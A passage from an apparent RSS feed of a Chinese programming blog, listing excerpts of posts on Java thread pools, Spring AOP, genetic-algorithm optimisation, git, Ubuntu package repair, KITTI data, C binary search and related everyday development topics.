      <description>前言 在我们的日常开发中，难免会使用到线程，部分还会用到多线程并发问题。我们知道，线程的创建和释放，需要占用不小的内存和资源。如果每次需要使用线程时，都new 一个Thread的话，难免会造成资源的浪费，而且可以无限制创建，之间相互竞争，会导致过多占用系统资源导致系统瘫痪。不利于扩展，比如如定时执行、定期执行、线程中断，所以很有必要了解下ExecutorService的使用。&#xA;ExecutorService是Java提供的线程池，也就是说，每次我们需要使用线程的时候，可以通过ExecutorService获得线程。它可以有效控制最大并发线程数，提高系统资源的使用率，同时避免过多资源竞争，避免堵塞，同时提供定时执行、定期执行、单线程、并发数控制等功能，也不用使用TimerTask了&#xA;1.ExecutorService的创建方式 public ThreadPoolExecutor(int corePoolSize,&#xA;int maximumPoolSize,&#xA;long keepAliveTime,&#xA;TimeUnit unit,&#xA;BlockingQueue&amp;lt;Runnable&amp;gt; workQueue,&#xA;ThreadFactory threadFactory,&#xA;RejectedExecutionHandler handler) 所有线程池最终都是通过这个方法来创建的。&#xA;corePoolSize : 核心线程数，一旦创建将不会再释放。如果创建的线程数还没有达到指定的核心线程数量，将会继续创建新的核心线程，直到达到最大核心线程数后，核心线程数将不在增加；如果没有空闲的核心线程，同时又未达到最大线程数，则将继续创建非核心线程；如果核心线程数等于最大线程数，则当核心线程都处于激活状态时，任务将被挂起，等待空闲线程来执行。&#xA;maximumPoolSize : 最大线程数，允许创建的最大线程数量。如果最大线程数等于核心线程数，则无法创建非核心线程；如果非核心线程处于空闲时，超过设置的空闲时间，则将被回收，释放占用的资源。&#xA;keepAliveTime : 也就是当线程空闲时，所允许保存的最大时间，超过这个时间，线程将被释放销毁，但只针对于非核心线程。&#xA;unit : 时间单位，TimeUnit.SECONDS等。&#xA;workQueue : 任务队列，存储暂时无法执行的任务，等待空闲线程来执行任务。&#xA;threadFactory : 线程工程，用于创建线程。&#xA;handler : 当线程边界和队列容量已经达到最大时，用于处理阻塞时的程序&#xA;2.线程池的类型 2.1 可缓存线程池 ExecutorService cachePool = Executors.newCachedThreadPool(); 看看它的具体创建方式： public static ExecutorService newCachedThreadPool() {&#xA;return new ThreadPoolExecutor(0, Integer.MAX_VALUE,&#xA;60L, TimeUnit.SECONDS,&#xA;new SynchronousQueue&amp;lt;Runnable&amp;gt;());&#xA;} 通过它的创建方式可以知道，创建的都是非核心线程，而且最大线程数为Interge的最大值，空闲线程存活时间是1分钟。如果有大量耗时的任务，则不适该创建方式。它只适用于生命周期短的任务。 2.2 单线程池 ExecutorService singlePool = Executors.</description>
    </item>
    <item>
      <title>SpringAop之joinPoint讲解</title>
      <link>https://bchobby.github.io/posts/6641e342f3d7622cfba52bef13baa353/</link>
      <pubDate>Fri, 19 Aug 2022 09:39:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6641e342f3d7622cfba52bef13baa353/</guid>
      <description>一、学习背景 摸鱼的时候继续复刻demo，没错，同之前一篇文章，在写aop时又发现自己对aop只停留在面试阶段，甚至还不如，完全不会实践，所以在此记录复刻aop用到的的一些且自己已经遗忘的知识。&#xA;那么复刻的一个需求点我以最简单来说对于此次要学习的内容：就是通过joinPoint获取方法上的特定注解。&#xA;注解代码如下：&#xA;import com.uum.common.core.enums.BusinessType; import java.lang.annotation.*; /** * 自定义注解--操作日志记录 */ @Documented @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) public @interface Operation { /** * 模块 */ String description() default &#34;&#34;; /** * 功能 */ BusinessType businessType() default BusinessType.OTHER; /** * 是否保存请求的参数 */ boolean isSaveRequestData() default true; /** * 是否保存返回结果 */ boolean isSaveResponseData() default true; } 那么这个就是系统操作日志的注解，主要到时候用aop的joinPoint获取标注在方法上该注解联合方法的相关内容将其转化为系统日志并进行存储。那么问题来了，什么是joinPoint？&#xA;二、joinPoint对象 2.1、joinPoint 在AOP中，我们知道描述切面的术语有通知（advice），切点（pointcut），连接点（join point）。连接点（joinPoint）就是在应用执行过程中能够插入切面的一个点。这个点可以是调用方法时、抛出异常时、甚至修改一个字段时。切面代码可以利用这些点插入到应用的正常流程之中，并添加新的行为。这个类的主要作用就是可以让我们在Advice中获取被增强方法相关的所有信息。通过JoinPoint可以获取被代理方法的各种信息，如方法参数，方法所在类的class对象，然后执行反射操作&#xA;它的主要方法及相关解释如下表格： 方法名功能Signature getSignature();获取封装了署名信息的对象,在该对象中可以获取到目标方法名,所属类的Class等信息Object[] getArgs();获取传入目标方法的参数对象Object getTarget();获取被代理的对象Object getThis();获取代理对象其中关键方法就是这个getSignature(),该方法返回Signature对象，而通过该对象我们可以获得被增强方法的信息。 2.2、ProceedingJoinPoint ProceedingJoinPoint继承JoinPoint,是它的子接口，在joinPoint的基础上对其增强功能。其实主要是在JoinPoint的基础上暴露出 proceed 这个方法。proceed很重要，这个是aop代理链执行的方法。&#xA;public interface ProceedingJoinPoint extends JoinPoint { public Object proceed() throws Throwable; public Object proceed(Object[] args) throws Throwable; } 环绕通知=前置+目标方法执行+后置通知，proceed方法就是用于启动目标方法执行的</description>
    </item>
    <item>
      <title>利用scikit中的遗传算法求解(整数01)约束规划实例详解教程&#43;利用scipy.optimize求解约束规划问题</title>
      <link>https://bchobby.github.io/posts/871c349d86cac2c6a41d1c6b5da66c3f/</link>
      <pubDate>Fri, 19 Aug 2022 08:29:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/871c349d86cac2c6a41d1c6b5da66c3f/</guid>
      <description>注意标准形式 下面两个方法约束规划的一般标准形式为：&#xA;利用scikit-opt的遗传算法求解约束规划问题 先放上链接：scikit-opt网址&#xA;主要四个步骤：&#xA;下面依照此题多约束为例&#xA;可知该题有5个不等式约束，且决策变量为01整数，后面将具体讲解如何将目标函数的约束条件加入GA模型中&#xA;一：import scikit-opt库 import pandas as pd import numpy as np import matplotlib.pyplot as plt from sko.GA import GA ###########此行为调出scikit-opt中的遗传算法 ########### #若安装 #则： pip install scikit-opt ##################################### 二：定义目标函数 看线面的代码我们发现里面有个参数p，这个参数我理解就是GA中的某一个种群，真正调用这个函数的时候我们不需要写参数和括号&#xA;def schaffer(p): &#39;&#39;&#39; 目标函数: min(xi)求和 决策变量维度：n 决策变量类型：0 1 整数 :param p: :return: &#39;&#39;&#39; x=np.array(p)###转化为数组 return sum(x)###返回将目标函数的值 三：定义约束 注意这里遗传算法中的约束应该默认为≤0的形式，而且不管有多少个约束，最终将约束的值及你给过一个max函数累加后返回，同样这里也需要决策变量，这里也是参数P，我们真正调用时，不需要写括号和参数&#xA;def constraint_yueshu(p): ####注意这里的p就是种群，对应本约束问题，就是x，但是p是个一维的数据，若想利用矩阵计算，可将p reshape，即进行尺寸的转化 x=np.array(p)###转化为一维数组 #注意需要将原约束转化为标准形式，&amp;lt;=0的形式。即求和1000-求和x*a&amp;lt;=0, he = 0 for j in range(5):###由于这里面涉及到5个约束，且形式相似，因此利用for循环计算，也可单独计算，而决策变量的约束系数aij是一个二维数组 tem=0 for i in range(n):###这里的n就是决策变量的维度（个数） tem+=x[i]*a[i][j] ##这一层for循环结束后计算出了一个约束条件的值 he+=max(0,1000-tem) #这里用1000-tem就相当于转化为了标准形式 ###这一层的for循环结束后就计算出了所有的约束条件的值（不是严格意义的数值，而是大于或小于0） #这里的max（0，tem）是关键，因为第二层for循环结束后就是计算出了一个约束条件的值，如果该值＜0证明满足约束，max（0，tem）将返回0，对结果没有影响，若＞0则返回该值，最终的约束条件值得和-&amp;gt;he必然＞0，即只要有一个约束不成立，那么最终返回值就是＞0得，也即这个种群对应的决策变量值不满足约束 print(he)###这个只是便于检测约束和，看是否满足约束 return he constraint= [constraint_yueshu] ###注意这里的调用计算约束函数的函数并没有写括号，传参数 四：代入模板函数，设定相关参数 n=10##设定决策变量x的个数 ga = GA(func=schaffer, n_dim=n, size_pop=50, max_iter=800, prob_mut=0.</description>
    </item>
    <item>
      <title>【无标题】gateway 503</title>
      <link>https://bchobby.github.io/posts/0dd52b23123da8df8aa9b59f9ef4a1bb/</link>
      <pubDate>Fri, 19 Aug 2022 02:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dd52b23123da8df8aa9b59f9ef4a1bb/</guid>
      <description>https://www.cnblogs.com/applesnt/p/14846691.html 第十三章第四节： 注册renren-fast服务以及修改网关访问&#xA;https://www.cnblogs.com/chenkx6/p/13373651.html 开源项目renren-fast开发环境部署（后端部分&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.8.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.xunqi.gulimall&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;gulimall-gateway&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;gulimall-gateway&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;Demo project for Spring Boot&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;spring-cloud.version&amp;gt;Greenwich.SR3&amp;lt;/spring-cloud.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xunqi.gulimall&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;gulimall-common&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-gateway&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/com.alibaba.cloud/spring-cloud-alibaba-sentinel-gateway --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-alibaba-sentinel-gateway&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.0.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>工作一点遐想</title>
      <link>https://bchobby.github.io/posts/8ef43bb8c6d9965635be0f9caee80807/</link>
      <pubDate>Thu, 18 Aug 2022 22:33:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ef43bb8c6d9965635be0f9caee80807/</guid>
      <description>最近写代码，有一点遐想，我是在linux上写C语言代码的，写完代码，经过编译就可以在linux系统上，便可以运行起来，本质上也就是cup执行汇编指令。&#xA;那么，就是可以类比一下，对于cpu来说，汇编代码类似配置文件，cpu按照配置文件执行而已。&#xA;进一步类比，如果我写一个程序也可以读取汇编代码执行响应指令，那么我的这个程序就是虚拟cpu，&#xA;换另一种方式就是，如果我写一个程序，可以读取我的配置文件，并执行响应动作。那我的配置文件就相当于是某种编程语言。&#xA;也就是说，虚拟一个cup，或者创建一门新的编程语言，功能越简单，实现越容易。😁</description>
    </item>
    <item>
      <title>正确解决：FTP文件夹错误，将文件复制到FTP服务器时发生错误。请检查是否有权限将文件放到该服务器上。</title>
      <link>https://bchobby.github.io/posts/25a0e089936be985ce4eae0d09abf60f/</link>
      <pubDate>Thu, 18 Aug 2022 20:08:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25a0e089936be985ce4eae0d09abf60f/</guid>
      <description>目录 Win10上传文件到Linux服务器报错：正确解决方式： Win10上传文件到Linux服务器报错： FTP文件夹错误，将文件复制到FTP服务器时发生错误。请检查是否有权限将文件放到该服务器上。&#xA;谷歌了半天，全是同个答案，压根无法解决，无语到爆炸（内心：几十篇文章，全都一个样，他们是怎么做到几十个人在那里互抄的，然后还没用）：&#xA;正确解决方式： 右键，点登录，输入账号密码就好了，搞那么复杂（当然，可能我是单纯忘记登账号了，他们是登了账号，还不行）（前面那么无语，还是因为，所有文章，都一样，在那里水，也没一个人说登录账号）</description>
    </item>
    <item>
      <title>Matlab绘制带误差线的柱状图</title>
      <link>https://bchobby.github.io/posts/20af8772e4a794b493909ee7f944cad1/</link>
      <pubDate>Thu, 18 Aug 2022 16:42:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20af8772e4a794b493909ee7f944cad1/</guid>
      <description>Matlab可绘制带误差线的柱状图（需下载barweb (BARgraph With Error Bars) - File Exchange - MATLAB Central并设置路径），成图如下所示。 代码：&#xA;close all;clear;clc; X = [0.2267 0.1423 0.1427 0.1038; 0.1567 0.1184 0.1479 0; 0.1199 0.1035 0.1643 0; 0.1900 0.1540 0.1631 0]; %(系列数据) E = [0.2808 0.1069 0.1092 0.1006; 0.1614 0.1003 0.1001 0; 0.1277 0.0789 0.1181 0; 0.2398 0.1518 0.1433 0];%（标准差） legends = {&#39;2019&#39;,&#39;2020&#39;,&#39;2021&#39;,&#39;2022&#39;};%（图例） groupnames = cell(4,1); groupnames{1} = &#39;1&#39;;groupnames{2} = &#39;2&#39;;groupnames{3} = &#39;3&#39;;groupnames{4} = &#39;4&#39;;%（分组名称） Title = &#39;&#39;; Xlabel = &#39;X&#39;; Ylabel = &#39;Y&#39;; barweb(X,E,1,groupnames,Title,Xlabel,Ylabel,jet,&#39;none&#39;,legends,2,&#39;plot&#39;); 设置配色及颜色对应可参考：</description>
    </item>
    <item>
      <title>KITTI 数据集简介</title>
      <link>https://bchobby.github.io/posts/23117ece8e5cb9e4e98bb7ac9a34c20e/</link>
      <pubDate>Thu, 18 Aug 2022 15:43:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23117ece8e5cb9e4e98bb7ac9a34c20e/</guid>
      <description>数据集简介 KITTI数据集由德国卡尔斯鲁厄理工学院和丰田美国技术研究院联合创办，是目前国际上自动驾驶场景下常用的数据集之一。KITTI数据集的数据采集平台装配有2个灰度摄像机，2个彩色摄像机，一个Velodyne 64线3D激光雷达，4个光学镜头，以及1个GPS导航系统。&#xA;官网 国内下载地址1 国内下载地址2&#xA;为了生成双目立体图像，相同类型的摄像头相距54cm安装。由于彩色摄像机的分辨率和对比度不够好，所以还使用了两个立体灰度摄像机，它和彩色摄像机相距6cm安装。为了方便传感器数据标定，规定坐标系方向如下[2] ：&#xA;• Camera: x = right, y = down, z = forward&#xA;• Velodyne: x = forward, y = left, z = up&#xA;• GPS/IMU: x = forward, y = left, z = up&#xA;Dataset详解 文件组织形式 calib:相机标定参数，可根据参数将2D、3D数据坐标进行转换image2: 左侧彩色相机图像数据veloyne:雷达点云数据label2:对应文件标签 calib标定校准文件解析 内参矩阵： P0-P3分别表示4个相机（左边灰度相机、右边灰度相机、左边彩色相机和右边彩色相机）的内参矩阵，或投影矩阵, 大小为 3x4。相机内参矩阵是为了计算点云空间位置坐标在相机坐标系下的坐标，即把点云坐标投影到相机坐标系。将相机的内参矩阵乘以点云在世界坐标系中的坐标即可得到点云在相机坐标系中的坐标。校准矩阵： R0_rect 为0号相机的修正矩阵，大小为3x3，目的是为了使4个相机成像达到共面的效果，保证4个相机光心在同一个xoy平面上。在进行外参矩阵变化之后，需要于R0_rect相乘得到相机坐标系下的坐标。外参矩阵：根据上述介绍，我们知道存在三种坐标系世界坐标系、相机坐标系、激光雷达坐标系。世界坐标系反映了物体的真实位置坐标，也是作为相机坐标系和激光雷达坐标系之间相互变换的过渡坐标系。点云位置坐标投影到相机坐标系前，需要转换到世界坐标系下，对应的矩阵为外参矩阵。外参矩阵为Tr_velo_to_cam ，大小为3x4，包含了旋转矩阵 R 和 平移向量 T。将相机的外参矩阵乘以点云坐标即可得到点云在世界坐标系中的坐标。综上所述，点云坐标在相机坐标系中的坐标等于&#xA;相机坐标 = 内参矩阵 * 外参矩阵 * R0校准矩阵 * 点云坐标&#xA;例如要将Velodyne激光雷达坐标系中的点x投影到左侧的彩色图像中y，使用公式：&#xA;y = P2 * R0_rect *Tr_velo_to_cam * x激光雷达坐标转换图像像素坐标代码def velodyne2img(calib_dir, img_id, velo_box): &#34;</description>
    </item>
    <item>
      <title>（看这篇就够了）idea操作git commit后，撤销commit，恢复到提交前的状态</title>
      <link>https://bchobby.github.io/posts/0fdd5190d98c9559da51cfec27aa9259/</link>
      <pubDate>Thu, 18 Aug 2022 15:17:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fdd5190d98c9559da51cfec27aa9259/</guid>
      <description>前言 为什么会有提交（commit）代码到git本地仓库后，想要撤销的操作呢？一般来讲，是我们需要commit后，发现，有一些文件不应该提交到仓库。或者该次提交中，还不想包含，某些修改了的文件。亦或者说在做本地调试的时候，修改了某些文件，但是这些文件，在测试环境或者生成环境是不能被修改的。针对这些情况，在没有注意到的情况下，都commit到了本地，此时为时还不晚。git命令，就不说了，直接用idea操作吧，简单实用。&#xA;操作 点击idea下方工具栏的git，打开git日志窗口，如下图所示：&#xA;一共显示了两次提交，当第二次提交，发现有的文件不想提交了。此时，我们就需要撤销当前提交了。&#xA;此时，因为要撤销当前的第二次提交，所以要将鼠标点击到第一次提交的日志上，右键弹窗菜单&#xA;选择reset current branch here 选择，（重置当前分支到这里）翻译也明白是啥意思了，重置当前分支到选择的第一次提交的日志版本的位置。这还没完，点击后会弹出框，有四个选项，如下图所示：&#xA;Soft&#xA;Files won’t change,differences will be staged for commit.&#xA;文件不会更改，不同之处将被暂存，等待commit.（此时，恢复的后的状态新增的文件是绿色，修改的文件是蓝色）&#xA;Mixed&#xA;Files won’t change,differences won’t be staged. （won’t 是 will not的缩写）&#xA;文件不会更改，不同之处将不会被暂存。（此时，恢复的后的状态新增的文件是红色，修改的文件是蓝色）&#xA;Hard&#xA;Files will be reverted to the state of the selected commit.&#xA;Warning:any local changes will be lost.&#xA;文件将被恢复到所选择提交的那个版本的状态.（此时，你所修改的或者是新增的文件都会丢失，所有的文件都是白色）&#xA;Keep&#xA;Files will be reverted to the state of the selected commit.&#xA;but local changes will be kept intact.</description>
    </item>
    <item>
      <title>flink run常用参数说明</title>
      <link>https://bchobby.github.io/posts/044b23e22dc155f388eacc27d946e9ff/</link>
      <pubDate>Thu, 18 Aug 2022 15:07:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/044b23e22dc155f388eacc27d946e9ff/</guid>
      <description> flink run参数： 参数参数全称描述-c–class需要指定的main方法的类-C–classpath向每个用户代码添加url，他是通过UrlClassLoader加载。url需要指定文件的schema如（file://）-d–detached在后台运行-p–parallelismjob需要设置env的并行度-q–sysoutLogging禁止logging输出作为标准输出。-s–fromSavepoint基于savepoint保存下来的路径，进行恢复。-sae–shutdownOnAttachedExit如果是前台的方式提交，当客户端中断，集群执行的job任务也会shutdown。 flink run -m yarn-cluster参数 参数参数全称描述-m–jobmanageryarn-cluster集群-yd–yarndetached后台-yjm–yarnjobManagerjobmanager的内存-ytm–yarntaskManagertaskmanager的内存-yz-yarnzookeeperNamespacezookeeper命名空间-yn–yarncontainerTaskManager的个数-yid–yarnapplicationIdjob依附的applicationId-ynm–yarnnameapplication的名称-ys–yarnslots分配的slots个数 </description>
    </item>
    <item>
      <title>Ubuntu软件包升级失败的终极修复方法</title>
      <link>https://bchobby.github.io/posts/1ab3c8aee522ace2ad0d85b777986303/</link>
      <pubDate>Thu, 18 Aug 2022 15:00:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ab3c8aee522ace2ad0d85b777986303/</guid>
      <description>升级失败&#xA;apt upgrade -y 尝试修复&#xA;apt autoremove Reading package lists... Done Building dependency tree Reading state information... Done You might want to run &#39;apt-get -f install&#39; to correct these. The following packages have unmet dependencies: powerd : Depends: repowerd (&amp;gt;= 2018.04+ubports+0~20220810204931.7~1.gbp40e09b) but 2018.04+ubports+0~20220324230500.5~1.gbp47f5a2 is installed E: Unmet dependencies. Try using -f. 使用建议命令，失败&#xA;apt-get -f install 尝试删除包，失败&#xA;dpkg --remove --force-remove-reinstreq package_name 解决办法&#xA;找到之前安装的包，逐个降级&#xA;cat /var/log/dpkg.log | grep 2022-08-18 | grep upgrade | awk &#39;{print $4&#34;</description>
    </item>
    <item>
      <title>rust 基于Cargo的宏展开</title>
      <link>https://bchobby.github.io/posts/68067c707521a871b32e8ead40fca8b9/</link>
      <pubDate>Thu, 18 Aug 2022 14:00:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68067c707521a871b32e8ead40fca8b9/</guid>
      <description> 参考命令：&#xA;https://blog.csdn.net/hbuxiaofei/article/details/113958825&#xA;安装cargo expand 插件：&#xA;cargo +nightly install cargo-expand 展开宏：&#xA;cargo expand </description>
    </item>
    <item>
      <title>编程实用工具大全</title>
      <link>https://bchobby.github.io/posts/817acb18bc0d97aacdb952b996e16494/</link>
      <pubDate>Thu, 18 Aug 2022 13:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/817acb18bc0d97aacdb952b996e16494/</guid>
      <description> 前端、后端、大数据等编程实用工具 截图工具SnipasteFSCapture 截图工具 Snipaste 下载地址：Snipaste&#xA;FSCapture </description>
    </item>
    <item>
      <title>MCU当中比较常见的数据类型转换学习</title>
      <link>https://bchobby.github.io/posts/b7ee7a5d2a6ccb92fe6dbdf7a7a87aa5/</link>
      <pubDate>Thu, 18 Aug 2022 13:22:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7ee7a5d2a6ccb92fe6dbdf7a7a87aa5/</guid>
      <description>数据转换方法 通过阅读各个博客的文章也学习总结下：基本有两种比较常用：1.移位法；2.共用体法。 其中移位法用起来比较灵活，共用体法适合固定数据类型格式的转换，共用体法时常用在上下位机的通信当中。 方法一：移位法 一般有8位、16位、32位用的比较多 例如：8位转16位：将2个8位数据分别为high、low合成一个16位数据data_u16，注意：不同单片机可能high、low可能放在数据后面，也可能在前面，这个需要了解芯片低端在前还是高端在后。 因此，实际程序实现方法可以为： 8位转16位 //8位转16位 data_u16 = (high&amp;lt;&amp;lt;8) | low; 16位转8位&#xA;//16位转8位 //将一个16位数据data_u16拆分成2个8位数据high、low： high = (data_u16 &amp;gt;&amp;gt; 8) &amp;amp; 0xff;&#x9;//高8位 low = data_u16 &amp;amp; 0xff; //低8位 8位转32位&#xA;//将4个8位数据data_u8[4]合成一个32位数据data_u32： data_u32 = (data_u8[0]&amp;lt;&amp;lt;24)|(data_u8[1]&amp;lt;&amp;lt;16)|(data_u8[2]&amp;lt;&amp;lt;8)|data_u8[3]; 32位转8位&#xA;//将2个16位数据data_u16[2]合成一个32位数据data_u32： data_u8[0] = (data_u32 &amp;gt;&amp;gt; 24) &amp;amp; 0xff;&#x9;data_u8[1] = (data_u32 &amp;gt;&amp;gt; 16) &amp;amp; 0xff; data_u8[2] = (data_u32 &amp;gt;&amp;gt; 8) &amp;amp; 0xff; data_u8[3] = data_u32 &amp;amp; 0xff; //高位在前，低位在后 16位转32位&#xA;//将2个16位数据data_u16[2]合成一个32位数据data_u32： data_u32 = (data_u16[0]&amp;lt;&amp;lt;16)|data_u16[1]; 32位转16位</description>
    </item>
    <item>
      <title>cocos creator 3.5版本远程下载资源跨域问题解决</title>
      <link>https://bchobby.github.io/posts/c453f54a7f690660effcbcfe71004c68/</link>
      <pubDate>Thu, 18 Aug 2022 10:20:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c453f54a7f690660effcbcfe71004c68/</guid>
      <description>程序调用方法： assetManager.loadRemote(&#34;这里是远程url&#34;,function(a,b){&#xA;console.log(&#34;aaaaaaaaaaaaa&#34;)&#xA;})&#xA;运行报错关键字： ORS policy: No &#39;Access-Control-Allow-Origin&#39; header is present on the reques&#xA;解决方案： 我的nginx服务器，安装在本地，查找了很多的资料，修改conf配置即可，配置如下&#xA;找了很多解决跨域的文章，说的比较复杂，其实对于我们内部开发来说，只要可以访问实现代码就可以了，相当于解决bug。如上，我解决了自己遇到的问题</description>
    </item>
    <item>
      <title>python爬虫 文本含有&amp;nbsp该如何解决</title>
      <link>https://bchobby.github.io/posts/65bb1da5fbfb7fd3cbc5885879bc5f20/</link>
      <pubDate>Thu, 18 Aug 2022 09:54:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65bb1da5fbfb7fd3cbc5885879bc5f20/</guid>
      <description>使用爬虫爬取网页标题时，利用bs4解析p标签的内容后，某些标题里掺杂了字符，该字符并没有以真正的空格显示，而是显示为字符串，所以我使用了replace()方法去除。&#xA;原代码：&#xA;for it in result3: title=it.group(&#34;title&#34;) print(title) 修改后：&#xA;for it in result3: #通过replace()方法将字符串&#39;&amp;amp;nbsp;&#39;替换成了空字符串&#39;&#39; title=it.group(&#34;title&#34;).replace(u&#39;&amp;amp;nbsp;&#39;, u&#39;&#39;) print(title) replace(u’需要被替换掉的字符串’, u’想要替换成的字符串’)&#xA;——END——</description>
    </item>
    <item>
      <title>C语言折半查找算法及代码实现</title>
      <link>https://bchobby.github.io/posts/71c0c94392d25d7f2bce1c36d792182c/</link>
      <pubDate>Thu, 18 Aug 2022 08:23:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71c0c94392d25d7f2bce1c36d792182c/</guid>
      <description>1.折半查找的定义： 在计算机中，折半查找，也称二分搜索。它是一种在有序数组中查找某一特定元素的搜索算法。&#xA;2.折半查找的实现原理： 搜索过程从数组的中间元素开始，如果中间元素正好是要查找的元素，则搜索过程结束；如果某一特定元素大于或者小于中间元素，则在数组大于或小于中间元素的那一半中查找，而且跟开始一样从中间元素开始比较。如果在某一步骤数组为空，则代表找不到。这种搜索算法每一次比较都使搜索范围缩小一半 。&#xA;以下是折半查找和顺序遍历的算法实实现动态图&#xA;3.折半查找算法优点： 折半查找法的优点是比较次数少，查找速度快，平均性能好；&#xA;其缺点是要求待查表为有序表，且插入删除困难。&#xA;因此，折半查找方法适用于不经常变动而查找频繁的有序列表。&#xA;4.代码实现： # include&amp;lt;stdio.h&amp;gt; # include&amp;lt;string.h&amp;gt; int main() { int arr[] = { 1,2,3,4,5,6,7,8,9,10 };//下标：0，1，2，3，4，5，6，7，8，9 int k = 8; int left = 0; int sz = sizeof(arr) / sizeof(arr[0]); int right = sz - 1; while (left &amp;lt;= right) { int mid = (left + right) / 2; if (arr[mid] &amp;gt; k){ right = mid - 1; } else if (arr[mid] &amp;lt; k){ left = mid + 1; } else{ printf(&#34;</description>
    </item>
    <item>
      <title>response实现文件下载功能</title>
      <link>https://bchobby.github.io/posts/f035a82b961a2429829640104f3c08eb/</link>
      <pubDate>Wed, 17 Aug 2022 16:59:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f035a82b961a2429829640104f3c08eb/</guid>
      <description>DownloadServlet.java&#xA;package com.heima.web; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.File; import java.io.FileInputStream; import java.io.IOException; /* 【文件下载】两个头+两个流（流拷贝） 1. 设置响应头：Content-Disposition 告诉浏览器以附件的形式来处理文件； 2. 设置响应头： response.setContentType(mimeType) 告诉浏览器下载的文件的类型； 3. 流拷贝： 1. 将文件读取到流里边： FileInputStream fin = new FileInputStream(file)； 2. 将流写给浏览器：response.getOutputStream().write(arr,0,len); */ @WebServlet(urlPatterns = &#34;/download&#34;) public class DownloadServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { //文件下载 //1.</description>
    </item>
    <item>
      <title>日志技术</title>
      <link>https://bchobby.github.io/posts/2d630aed2646b2be0863570b49b4d83a/</link>
      <pubDate>Wed, 17 Aug 2022 16:58:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d630aed2646b2be0863570b49b4d83a/</guid>
